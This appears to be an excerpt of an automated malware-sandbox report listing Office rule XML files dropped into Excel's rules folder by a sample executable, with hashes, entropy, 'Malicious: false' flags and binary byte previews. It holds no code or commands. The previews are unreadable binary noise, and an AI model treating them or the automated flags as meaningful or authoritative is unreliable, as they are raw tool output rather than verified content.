SSDEEP:	24:5312tmkmlGoe37eqigK1rmNHCbQ/KbpvV9nyaCBJYayrOppeP45y0Yi0DAsyF7VX:5F20JeqHFYixbprnypb3Hpl5AizDhFD
MD5:	30B531168590BC0FC647D4EF0D7C2272
SHA1:	026C2FD78787B067791995CBDCCC97B4F7148127
SHA-256:	0469AC436ABCC7E2888020167FB91C9E5168695539528E9239E2E6395EC6EF61
SHA-512:	633A8A0F4FE6D13EE079C9BE8FC0C038E0830AE2046F39F8EEBAC88B8B7A44726A8F7BE73477DC42CF5583B11620837273B183DE45AFBBCC83B03466E2D9485C
Malicious:	false
Preview:	<?xml..n.s6z$.%...@......,.?...~.!.....U.e.7B..h..i^....cA,.?...z.`.....FE.V....6\|.......T7.+l;..8..)..k.er<.-.....>3.06D..]S.........}.Y... ...X.(.+.h>...nMK..C`. .&r.@...?9...1.C..l0e..D.!.p..?..l.........F......z.;`..VN...7y./.....H...3.80{./h....m.....X...l.2d.....gx.8.}y.F[J.F...........(...g0..?....=...u..+`-...f......_.bo..[.........%0BOdX.<..2....V/..I....4t.R..@.2.7f.[.s..z ls.s..n.[zY...E6.P..w.h.....x.P.LC.8$`moQ.U..].\|z...".'.K......}....._..m....$3y....L1.......^}.3..Q..WQL.......Y.y.Nw-.....#.(...v}...d.W....."ZAP..)..8.dh.....\|4H...c..D.I.....Ds"dz.5.g.k....j......b.p..\3..n^....w.M..U..$TS..W=..)..z.......`#....il){.f.j..<pA..K......;.H-6....'.KH.J.7.R8..2M."..>Z.K..\|..0g.q\..~aaA..../..v.....n.p..3lz.....&8._.A.[..........^.......6...8j..).4.v....<.UQ.y...d.....da...]n....%E.......,....0..e."..j.O[...V..\*A.&.Q..w..E......Ao.R.6....xs.p........d.....8...8J.0..u\|b.\Gy...s.eqE.od..p...;.@\|BZ.$W.....$.?L....j..@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70030v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.734940526813564
Encrypted:	false
SSDEEP:	24:a+31LRs3Y8p7oiiju2zQZfzeH59DRZXrEVbD:a+FLaozHcpaHPDIFD
MD5:	5CD7B899B30B556E1C58E89ACE4B7F14
SHA1:	31A413A6F5CD1D6FECAADDCA6DFC3EB9E73B56BF
SHA-256:	7317EC0233A3B57A27076FC02C86531B93D4484856016C5D7BC6F9927C22A80B
SHA-512:	E44C46390A7582698B4CEA6AB9A62F37A5B118036311AC219A262B4E5186FB90060311078A665CD2D05530FDFDBFB4ECCA1670CF40FE2E4DEA8E1567C7801C9D
Malicious:	false
Preview:	<?xml!......X.z.@..?w....V. ..MXk........."...V${.r..u.g.;x.Q.%.Z.4h..^...{a...-.A..;=....8...kK.1..U.........g.b...L...V_t.B..c..]....sHStZ$0r...~. .X..,.d?.....r.L..R.`.....Z...f/S..j.n.9..86&v.eiE..........x.....@..=..}..h..`......+..oev..D0...#I.#...t.i...6m..!.d..!..Puv.p(\|@...]....8.\|..2..)....]..0{.2n$.D..A...>F.=b..O.Q....b..?..x..6.*z=.C..h....=..F^._..dd.W4.....9k.1...Y.:cA..Q...}..I...F+.\|.d+......f.......2..\|.....;.....e>j.w.~..4.vY:.......T.D..k..A.?[Ip...z........~.y...C......>...{M..d?.6..%.hWd..l.p.V.....W.m;c.t,/...[4B..b.\|!4....H..).;........d....K6.f.dcH..`.Mv-.K6..."..!.2....H!?.EaGcT...P.B.\.....}q1Z.'.q...Y$s43kdp-.hk..T.......J/.Mitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70031v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.696548585152973
Encrypted:	false
SSDEEP:	24:54gSgLxKCaE83WjXgt7WQ/uqgsBA3xVbD:54GxKCaEYWjo3GvKoFD
MD5:	3E933BBFB3CF1F5FE125E1DC513ED6A8
SHA1:	A952EED02DC0569B496C06921B7C09703864FA24
SHA-256:	CC727E6EA0469D7B06BAE33A71F73D4D3FCCA3A9573E6A8E0605A903751F799F
SHA-512:	92B95705C19836FE810FA331DE15C9D011D48571DE9515994D4AE6DA82DEA77D97BFC2AE79B2C0CE5493AC2E86689A777C8B7F919A16833D5E8A96064EFE1C48
Malicious:	false
Preview:	<?xml.Ab.TmR..Oz..7Tk........d...@..6..5..=6....,.z.f..@e....MCL..rbC.......p.(.....y?B"......\|..~.5X.mCp!...../...,..g..j]...L.@.b.b.T7....w~!]..T.b.t5.n..............\|^.;.J!.......N.3...f.{..j..:.y..!........c+..."..}.......H...2..W.(F`A...]....kF......\|..r.S[.....\|ZQ.U3.0.O+.e..`.....DG.}w..K...].CJ.=../..v,.s.6`.\.b..g;.].............I..>......".....x..L..,OO.\|9...;=..vU..V.`B..'S4..?.@J-...T.JP..Y.n..t.............4.w..l-..I.>..V....\..X2~..C7......&p.-_.3.<....8.O.HF..I..b!{.0...9..h..Xd..._.oe.jW5....Sk.&B..[.\|.....FQC....rlk.1`L.....1...).....\uv....p.n.H.sTFkln.Q4.....S../.O;.i(.Lp..N..H.9.L...........N...\|.}..VG..AT.~}.#..ia.o.2Mp_..pCc%..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.885063004480886
Encrypted:	false
SSDEEP:	48:7P+YmZ6yUh1wahRmmTQGDXU/hg7yyCWaYFD:7mYmvSf3cd/i71C1Y9
MD5:	B50699EF756BA6CE334F4184AD6D8CE8
SHA1:	EF6D102AEEFF3EE17216F63EF4D8C3C2C628BF01
SHA-256:	04336D2F9B0A4D65E72349FFFF888B7C7BF3A6DFE8AEB08B0F8181A6C840C70A
SHA-512:	2B20CBF22CA5C5A3A2D11E68992A838E363E5D84321AE0ABAA1B82169F2FE7D96FCEC82EA0FA59CF189C8FD8CFCC376B83216165A7163143A255EB44A058291F
Malicious:	false
Preview:	<?xml..{tgE...f-I..wH......Q.......fzd..FoI...... ..w........g.I.........d.....6MgA.U...4D}`...o.....'...}..].@.r)q6.{..d.1W.,#.{Ht..Jn.&..0. '..CN#...~...6%7nccM.(.o..8.4....P../...;..`..@..`]9..7L.0..6.mCP'~...}A.,S..?.l.m'.q.N.....F.(3{.C.d...\|&X...:y.+.!.V..<q'.......G.#.Z....6?......M.G@..P....k.V..m."_....q....f=<%...... ...<..\....F....v........H....a.p.=\|.....X14D.\g..S./._x..<W.(..1.tH..f..-z...i.....i............#...E.CONA.Js..N...%.X..S.y.%?%m....NReg.-...x.A.....`.u.<.0.z.GdG.G.;j.d.........}...p...t..~.Y..e...ZI.._".A....t.6..v:....E8VL~9LM..G..H........OK...p...#...JU.y&.-.f.Z.B$.M..M.....G.\[.R.'..f..P.`z>,.j.F@W....d."..i{..q......A</.&....qi..F.amRf.k.d......+cR.DRk.@..jN.......}.nz..`.\|#..y.)....^.y...s,.A...9.U..3.Z.G....1._.3hq.0x..g.;@.c(.....].L..ta.z.Qm,x.......I.G....S-.....&.TkT.U...V...w.<...n............G.w..(.....5...t-.:.'.o0.Ko..I....S..H.....{.<.(....@;M...{..^..Yi~.H.a.R\|..o.\|...-...q......-...3&....A!H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.8970820810259825
Encrypted:	false
SSDEEP:	24:/m5K2/YB9zIKlN64BDjabmte9iMqEbcdrb/9PZX9qHd7ULLy5tuWu8KGTbcqBuHd:/12xKlPEbmuwyc9zedZ5QOXjnB6FD
MD5:	474DBEA8868AB2A4A28C60DA4E1621D8
SHA1:	090DA44FC1B4F01E0342405F60E010BA2C634DD9
SHA-256:	5EA7A7EFAB8236AC830A164AA07E3EE51C45E0699D9FF5BC8F9EB1EA868BD3FF
SHA-512:	0B0DF7B27C77AF9502268C4D1EFAEA9A77429B032421DC4A113CDE449D10BF734E82A3AD0AB37F6B0AEEACA85FC8FBADEC025CDEB4FC6D395B3F083B804AEFE7
Malicious:	false
Preview:	<?xml.9..\.EP.^..Mv....h..&`...........o..y...&Q.....S.\|l....~X.is.Yca.u......x?K.+'R.p..d..y..%\B...i.m].[8.A...,i{.w.cQ.B...0..:.c..T...U.eP1.Hk:.7...........7IN.$..\..........&.Ts$..I..e3...yg./...=jD..NZ&).......Q.....o.Q......[F....c.....H..j..g..n..&.c.7......$.u..-.7K..B...<.Qg....{...v..5d)z....^....+Q.Cv....%.::%......b...s%..0..$..N......m.....M......D....p~-.sN.EB.@...x.9..].n...Z.{..I.E...1....6.`.)'6 `.{..n1....D#Fe]..4.........G.. 6.b...,VW.MN.9J....dr.o.o...)$.....e.<.KJ ..r..,............@7.../I.I$....;.._.y.k.H6....".19w..j%`J.@.4.\|;S.p..h.C...!.9.q..kU.$n.......k.C=..*_PE...$....}.a<.....T....u..@waU.y... ).. .T)..!...v9.7.2..-=.c...#A..H,k.9x.w..s..{..m.O.y..`..UT.x.......Iq.%.r...g...5..\|a....N.[...W.4R.......I.......]...C.H.p..W..J..w.2=."=..ss..9.-..i9m.uN..d..z].&..}..,(.........,.L.^.u..(I.y..6].4$....i...j.yq..jMI......%.p...-...Z.~....q.&\.,N..1..Oj.....WuXT..W.(?....._.;.....o;..UJd/........r`.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70036v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.727437327446993
Encrypted:	false
SSDEEP:	12:OD5NQwYueZP/cWYvKIw8opE/mtpiHPIhakG9sEl4PoF4gffCiHjVcii9a:omOGISzbpWkRssI4liDVbD
MD5:	D984917E82AD7248D58C70D395BED5E8
SHA1:	D016E2E56E5F356DA31DA3C93A922B54CEA4BCA9
SHA-256:	C07341794D4D640B3A8E3E107DC259B5F640015F48280F38ECF75AF33D065B85
SHA-512:	03CB9200F642069A68C6912305CB996B068865D2C3CC6E84FEEC54EABFF6819B859C3728B7A7A3D325C59B2BF1DDC0DEA99779FCB93BCBD48C151BEE12A13C60
Malicious:	false
Preview:	<?xml.....?.B.d.=9g.c.U#n..p...~.B........L..uI.[..2..D..Y.Z.7%..dO..O..6 ....M6..b..C..Z.V..\..uO....>-.y..!r....)(.{I%.#O....?....5...K.."..E..~.U>1fbu..x]<-.......{7.C.(2..0h....=....0[..N.M..xG~C....dQ.r..0s....1..J....YW..n.F....e..z.ml...EL.E.M.O%4...;........d..Q..._#.Vo.>.H.0.]..^.Hf..."..N...1...A^..d@*D...w..@.3\|Et...e..vR..........E...L.G...T.C.F...(B...ER.....I.dZ.L.O..)n;..X5..8..A.5...qP.......uB:.$v?..Bo.....uKxK'0.....J...T..rL.....w....][B..V...i`...Cv.;.Z...'.t..$.BW....p.)#W/.5^...p31h.)HK7....89.....@<..Au.v..<....._.>.........(./.O.G..\t....S:.\|:.\....?Fr..B..B.bEhTV....a..(.JP92....Z.c.akN.D.Y.I6T.C..<.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70037v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.743943229733681
Encrypted:	false
SSDEEP:	12:LwTfUYBYZhxNuXuUPcjOkeItSUJly01CpG2F/S5RC8Y8QwPHG77jVcii9a:LwTfUYO/y/SOXIIqokiq5RjB/GLVbD
MD5:	4FA1FB3D0F798BD91F60B8ED29E3E733
SHA1:	A8C0436ABD618DB7780E7FA05F8099540496C25E
SHA-256:	7D54EE6A01E5CCE4883BF060CA5AD16DD2F2EA811403ECD988A3301BE2D91C2E
SHA-512:	249F9E6A4223EBFE15FCC7AF635C51C6DB3249DF66B4E75F1260DC8FD4EACCB343C4109DEAB97216CC6AE41C60CBCF4D2E0B9DAD51420C714468DB7210F09124
Malicious:	false
Preview:	<?xml.k.....:..R..1.r1sX.....O..D....:....x\..0.1...\.Y.......?&.E..p..r..nBtr....0^s,ma.,g.K......<.).....(.v......\|.s..?...fi..O..5!..lS..K.6.......fh...O.S.....o.=.I3n2...M.Mu7i..BF....Z7..^...JaY...&....$...F.<./.W[2y.I......zI.:L.2.M..A..b.Z.!(;......D.f.bd...O..t_.2..\}A.oT :)....4.i..#>R.[$@e.....G.&.8~.......P...Vv.U&.53...y..Q..>< ..{...q...g....w)R.6q..C..\!.d.My.w...;_...].3....yR.,.`.=...:x..Fe..wH....}1w...>.w...}...3..9..N...xt.x....acC..0vM.$om[q.?jo=....T....n..c.! mA..Q..%.~....e&...............X.0.J..._.E.....d.....k.\|.e.6..m....c..Er...+.............O.pd.9e..A~....5....3.r.px..*b.D$B....].U..h..l..LX.A.C....TP....;..f...y...\itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.882293769404301
Encrypted:	false
SSDEEP:	48:thZGpP1DHhy9VJ7AywkVjvSo6rUO2NndNQFD:NG9wHAyv+o6gTdq9
MD5:	836BB1F5CF65260B68E9D85798687909
SHA1:	9457C097313AB3540473C74F1BAACA0C8B74F698
SHA-256:	A7E540F705F206DFA2EBB1A65880B91062559E8FF776D7CF5CAA41569B641E8E
SHA-512:	36F0197B953908FFDD75AFF44CC47A04FB0BAC5D9AEC8C17D334347422CD910D45497180B25770CB6A546B35F09F9F0BC61F164D0D3C49175C8C38600C6FA52A
Malicious:	false
Preview:	<?xml..,.........y..w....8E9.#.......!.b.u.#...y.....R...... ..=..._.~..........r.kP..q..........e.(....[...%.B..S...P.Y......>./26...........U......6....d...4)..+...... .2\|...6.......i._..3.]M.R.H....F.................X....=.m..w..-..6.!.....+5..._.V....Q.8%.$..U...B/+.2I....%x.x....)..l.FA..zoA...`.....7..m.{..dqc........t......lQ.8`S..e......1.m..e..p\......it......#m.x.j0..>qu.i.BN.p....m...za.K.9....#....U.K.4.rt..<..g..W..r..d?.....Ch.............(.[..V......?.f...b..6..f8.piT.f.A)Wi.lS8.v..?...[7.../;.?.....9E..C...jb.rC+m.Q.D.....p....Y.d.n.6.q)...N.K.9..R......T.")...Wvu...<d. .....].Y.K.......d...?K.W...mz..0...S.A.Q...1...~<.U.\..P'....#.#6.a~IF.#..M....x.$^...4=.....2:.....(eL..R."E..&...1.....V&t..I...<.MW>.1...c....^....-#..sf.kb.....e....^.X..f...o6f;.{...Y_kN.2...?...4.........g.....xC,U.B.Y9.X..a.OZw...A..c1..}.7...Bp.g.e...i..6.T./Oy ..RF.).#.>Rp.:...:.c.=...\.x..JqI.g..~.j...`.du..... ....z.....Tf..M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.884321754892472
Encrypted:	false
SSDEEP:	24:dF1UU75Mbpf+4lIQjbDjEzZBiuEFkfZigEzI1/knXJoqUp8KKLVbD:dH529+4S+bDjCDp8Gkn5lUvWFD
MD5:	EE06D7B3E889D080F538CCE61F603E2F
SHA1:	158E79AD48D0A46E81C9282158C8DA6A0831969A
SHA-256:	06ACFA00631815412FC08324A182DEC50C15970684321645E89054AB3E83EA97
SHA-512:	7E2421CCED1F2EEC9F1DE1496BC3DEF7395316423CAD94BB438BB88356A5269EE38770AB15A6E4CF59AADE1078805FB2AEBE7816C37C048714E90561C4F20EF1
Malicious:	false
Preview:	<?xml..."ESi..^....yn..U!..`U)#M...qz..l..p..3&9.....o.".B..7]......]D...l.}R.9.....x...L.Q..gK0\<gZ.....`.....q.A....p{...2...Th..4{.,.R./8.....C........V<!..?.4......(.u=.o{.........,..GwG.;.G\|.0O...(...n\......d.......%..~...P......r.Ie....N......r......y.<.(..g..z.&p...p'e.R..t}W......jS..(Oz.K..(}....Mo..n.g.g....8i..D !1..o.t.I..u...h$..n...,..n.7..@ ..........l..?ki.7.>..t"..eh.....N)J.zJ..*.}....r........m.....%'-.P..f.c~."...S%.v7.8...E..\|..._..s>..4.B.p.qK,NS[:.@DNml..tb.J..KV.'.J....ve....r.MJ1..,O!....(..k.xzwm.$.....bJ......c..T.I.h.-.R..?.QytK.3K...Zu.a.0..{./..?d.8.-....j@Ho.7Q....\^...w...: .@l.K.....qK.#I#.k..f..q{l,x..4f.o#..o8..[!.'.?a...\h.H.lN..<Y..;.`.+.N.x.$.B.<.'..)..<)..n...Q...0S..g.....1XR..%.....X0....l...$S...E............n..v...0h%.....Xc..M.l.$Wn.......5W.FD..A.;...u....._.#Py..d.....q<.t"..7k..LC.4.e..)..?.5..a.x.!..^w...[=..........9.H,d=.G...y....UG...)..).5"4.i,.h...7Gu<.0./...).t..#........M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.8927163278484995
Encrypted:	false
SSDEEP:	48:Se2Vp7nzG4frTDMXfUDjbYkbXMJy4PN2ZFD:Se2fDC4fjM8DvYkb8JhVe9
MD5:	FDA60FD60BF88A9C57F012332F22ED80
SHA1:	D685658AE5A2243A35537DDA3B739406FA2D1789
SHA-256:	CBD5AB4A3DEE695BCA1E010B71B257B5AFC8490C81157B0E5D4CAFD26EADEAFE
SHA-512:	2E5677F91AD88AAAC7260CF4B650E7E23330C6E42DCEF4EC33B67D962B69805190A0EBEC3B767CB496EF5453B1C3B6AC0A586E85BE5B8BA16C17CED316AEEF31
Malicious:	false
Preview:	<?xml.j.&UUn.......\|.Kwk..X..d..+.?n....G.(.z..[.x.G..8...1...,g<0.......{....r....K.,..y....\|p....K.\..f.NNK..f.$..N..A.<Un..M.sR..iPA.u..P..L+2..lWQF#.#...H.&..q. .@h.V.T)b.E...`..nV.D.6b._Ct..nJ...v.%..tW!...5..].......).......#...}..v3U.p.u[.SK^.Z..e.2u7...@.....e{.d.Z..r.Ro[io.].......J.k..k...(%./...'".u...........=.4..-q.e...ZS.m...'a.V.:.H.R..k...J..M.{9...U.FZ..0..k.....}...j:.LY....h.]Z.....g[....:..o.Og....... ..O.c...N..4.C.1....@<d....\|.....+DU..."~.5.;b{..........6.I9y=.8..U....]7.o......?tQ...>3.$P-(...,..].~.5C..... ......T...R. ..E...^n..C..v...U.j..gV+.......k"..(b.U....Nq.p.c.....!.@......g..?....f...O.@......m{T....j.-..pM.suT..\|..h..s.[.T....-"U).9r...f....I......\^...(...r&;...#.m.D...,Z.Ln..#.......B.b...];..,)..e..hw.......lMb5..V.#.(.[6S?B....&@l...3dqh.Q."k.v.e.zFX.Y.N..F...~H.2......n...$. .L\.9<?^j.X.:z....I...+..M.A....hF.c.^\|.....W....v1.W..E..1..........\....y...c.U.....+...4)....s.o.q....?u....7..#L.\|.{..p..H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.873195959644762
Encrypted:	false
SSDEEP:	48:Emx6sZceU4drmuuVV1sRkKF/QKyckLZFD:HxSeU4zCwVyckLZ9
MD5:	0FDAB952997748E83B4601F45F8082D2
SHA1:	DDDC54159BB23BCDF66F12A780EA9D158201040F
SHA-256:	7DB8C5BBD42623A9876807454B175B1107812C4DD1499B06D16ADE218E101DED
SHA-512:	3599EE0E5D9820E0FD269F8D436D3CD29EA19E42F1812C7004C37E27D8FAE62C1EB4F8CC17C80BB2952CD351D304A02D5620FEE14BDE66F3B1CF7F39DE19C3CA
Malicious:	false
Preview:	<?xmlR{8.h.q.F.%G....k.QL..<eY.."...,..Z=z]G\.d.J.~.i.l4$2..4.E.&.ER..R`E.~.>.:p.e.r.....)...D4....e`.......^f....u$.X...Pn..P.M3....YU#.0EOH........8.m-..k.V@...k..z..`...<.j....h. ..L.!..7.n..X{..n...&..RO.....d 6....~...J...m...u6..G..s.V...l!ZZ.^AY..5...q..i.....:zM%`2.H5....Qv.G.=..v...InV._.I..-0..wY....,`#q..Q....".....T........s...........Ji......y0..C...y ..7U.k.6D...D4Ma9..F.....h....v%i.Op.K.c....>...WE.X./.s-...k.y.>.....n........R}...^.g.^.r.Kv%..&0....k.K...v...P..eD.T...\|%i/.R...:.v..V...Yw.C.;<.f....e.......ey0..8.M...8..Bz....?s..F@U.R.4.[.........n.98.q...:.Q.(c.#.7`..#......A.(.MM..w..`.'...e....?..<#e...T.....s..S....Tg.S.JS$.....+,.<...}XR..A.u.;!.v........G).M..=.ZY....M......z.OS..[.I.^....&t.d.X...Pi .i.c.\.a.....>:`x..B.b..AVQ.6.YC...s\|.C....H.YQ$..l......fB.yO...........[..0b...+7..%.0i...Q.#.(3.@A..gyk.RN....m.G.B...../wP..L.+:..Uh7b\|..W.... ..Y...(..]..........H.D.d.'O..&..QI..........DU.;......j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700500v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.872088576913106
Encrypted:	false
SSDEEP:	48:+itgbxmiASX3VcKfJN7kkO9PV2qIn3nX6YIFD:++g4dMeKBBhs36nX6YI9
MD5:	26BFC9FF5307860C86605F3298708991
SHA1:	6BC0635AFB4E65F36F1528EC605F81707FB0EA8C
SHA-256:	9E2C758B60887AECBF0F2B00B4E78A4AFF670F9EED4FE3B3D769CC02C4443448
SHA-512:	281CE92633CA863ECD5575781851EE886364BB516BAE2B8F75548EC1ACA0CB2BAEC4AA33B5CA8A30DAFA5B0BEF124F2823CF28F6CA87CB55E6527B83CC4A82E9
Malicious:	false
Preview:	<?xml..!\.p.t......LC..........i....J...(..p..ICJ...\.....`>.u...D.H%....a.{...7. Sc3.1.T......^.<....e.Jm.d..6.~..?........\|.?..).........~gZ..J..e.h......-.ng.d.L....UJ..'\{rbO.7V...@j......X.Z......$...3..fw..f.X?..a.v..w..k7.}....O.....U.1.b..w...K..W....].,..h....X..0g....M~#..u..+ a%...U...VJ"..<......^e}.75.8......GkD....xz.p.......t..../..FC.8!.C:.p.O.^%wh[.~.pv}.......i...SQ9...K..p.m.....=9ku.J}...[.d3m.ZK...\...<I........zQ.Fe.....J.3J....x.._........o..h../..w.I.G.....y.7.(sO(..V\|.wPR..!......1....v%./D...n#.iA(.......:......-&.....K..Sdl..;.r.._.....@....[[J...7`D...q...$.A{.2.If.DK...%.I.....P%NYQ..(...Y...X2.o..F...M.9.Z....`.....a..j..g...C..^..<.Zm-.....{.#k.0......8...<P.....g.....\|..gjW$..E...V.....i...........w\|.So...64:.<.:~.p....w&pr-..O..\KYI)v..{..t.R.V6e?..V...psX....I^.......J.....F."...`....Gh!t....-......B.wL^U..xX7B8v/....^.C...K...sG.&..F&.h.C..3.qWi..)\....jr..U.v..(Ra.......n...u...5gDpm...o>.a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700501v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.872745110074651
Encrypted:	false
SSDEEP:	48:pPyflxqoJNQ0kKTSh8HOL06jGWrI3KV5FD:pPytxqyzAL06jGWk3KV59
MD5:	1BBC1D5BED920614590DFAC9B205A2AE
SHA1:	93019CB9951D0ECCCF0C6FDE410C52F6BB9F044D
SHA-256:	59FD375B1956669FFE04AD7C3C93091A0040800E0B9B0814E096C35721380B04
SHA-512:	33E8F6CBA4D9D48C136EFB487BB4B85E60A894FDA9B8B0874579AE5619B40D2BF7807501C7E7E7F3FF2D5415CDFFAAA74304C09E807C7D5D0B850E2038EEE0BC
Malicious:	false
Preview:	<?xml[..O9J..x{..xx H..Z<...A..x/.$r....jif.....c..w.P.Kn."x....h._...b...>y.ZiB.. .zAH.#...rR..7..y..kI.=...F..B..p...@.......3...B....r"q.<.t...jD.+@.og...>"K.4c!bjC.@...5............E....a.P.nE..SnZ.6..c.lUN.U..lF.J.Z@d....D......H....Q... ......u...v..C..l...~...d..5Z>$...P.X;.q.:vJIx.x._.Xd8..,.....W.....r...5N..-8.R<n....?y.....1C..Gr)..W.n...9.u{.Y\|.Q....;.....`.S..@..,S.n2..Lp.0...6....x)..~..(!....@..&e..fy.7..3n(...QRb..R.][2..EL.....Z(.m.37......x7..i.?K$h..?...m.@S......"VWi...3.>H.....h5S.~-u.........)......u....Y.a.$F.....k83..7.+C.[h.....z4Du....k..X`.}...+.g6..Gv-..".v.~..3.....u...D.. R....+:..wV[.../.T3<Xt..Y.Y....y.HDx.G.Z....(....^+..K...4..e.T`......5.V....xq..\hze..B.......G%/.'.._O...&.u&I.!ee~h..Ga.L..T7.nz/....n...)..sY..1..H..y.A[..Hrpr.w.9..q.~#.V.<Ac....'3........n-..t......Z...IE...].....w.J7.:.!v..~.j.8...U~\|..:.....8.4....,.. .9..$T=..K"@...C. .f/.....r.........Q...F..&V....\.K5.R"f.U.ci...Mz.5v:1.CS.T..Y.:j...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700550v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.888770556064974
Encrypted:	false
SSDEEP:	24:UV2wAYCcHusQtwFQh9j/V5tOCeUQ4uNqC6kMSxenJ3OoZfel3j1OoPQOAHNMZKeH:UV2w9rFydDbQ3ZTMSknXGB9AIKUFD
MD5:	BAAD10172FA7EA85978FE717F287574C
SHA1:	1058D31EC341FA752FD1CA218335E1A041F60BFE
SHA-256:	8DD393BB48951903816351DADEDDCAE03C89747CB3E005DBCB70BD5B3BFA86EC
SHA-512:	579A878D636CDBE1B9C03F5CD9C9DD9458E716F456BAFDA46D10D882572B987FC6BF7D67DC7F39C5A5C951564C8A36F8D8401F4CF7AB4788A777BB28A261BD78
Malicious:	false
Preview:	<?xmlv...5...'+J.r\|...$........O...9W....lY.....t./..<Hd.#.=..E...;...%VS..dock...%....2.P.P.l.... G...B.b..>....E......~.X./.T`......-.Q7...Mm.N.J....p..b}B..g...~......=I......)..'......k..RS.M.Qcb.Y-f..^+....m.I..w.(....P.X..]....h...I5.q../..m.2..A..Q.Qc...$F\L..=.^.v....@.6.......@(gg...V.. .:.ps...\... .O...N.J.8YC...j....5.o.L..Hl..:c5Iq.).......m/...%.h]......../.....H.K.{:..E...~.0.t........7o..6AF0..^X..E.1...........,...\|9./.EJ..8.c..H....+G.@.7X......T)a6\|[...................{f-o.%.l+..Z.o.f{P.....r...$..>.mCq.Y.&......,.j.....q.h.r...J...K..?....;}.T.;..U..b.$..............8...C..7...8~...J..P.>...plm.M.BEk.l l..8S_......ziO!.DI.@.].F6".....D.3.C.m..6...F....UI...Z..v..B2.N......z...sw\|._......@..GR, S.W-.......;.4.._..7.g...z.#.21.o.v."...R..........`uh...../,..W.....:w+9%.k\..~x..3..c\|.....@w.`.D.N.%.....:....OV...:..[......F.N..P)"......`5.{?..@K........\..^.]...p...A0..O[;....v.u....CVqF..S.G.%.7M.... :M._.j6.^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700551v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.902787624269517
Encrypted:	false
SSDEEP:	48:sOlBEwkDUdiJkvScBr0GlRtpLzi0mjWk6Gp2GpFD:sABEwndH6cBwGlHpLWJf6E9
MD5:	89DB596DBD97587D3852A69BCEB70A2D
SHA1:	4CDA5F92E362E321E2CB34EC4BF7F57B5B76BCF2
SHA-256:	3D6CF960247CF457A63C4AB3BCDBA4374CDC8367D5063AA5858D2113F72F75D1
SHA-512:	31A492F576E1BECEAC98AAA87DCAF57CECE2E8CDEEF6B2F0292F7B7146B531642D0D268940BBFC918540E81FAC38ECFC17885E067A34CDC483082283E22DAA65
Malicious:	false
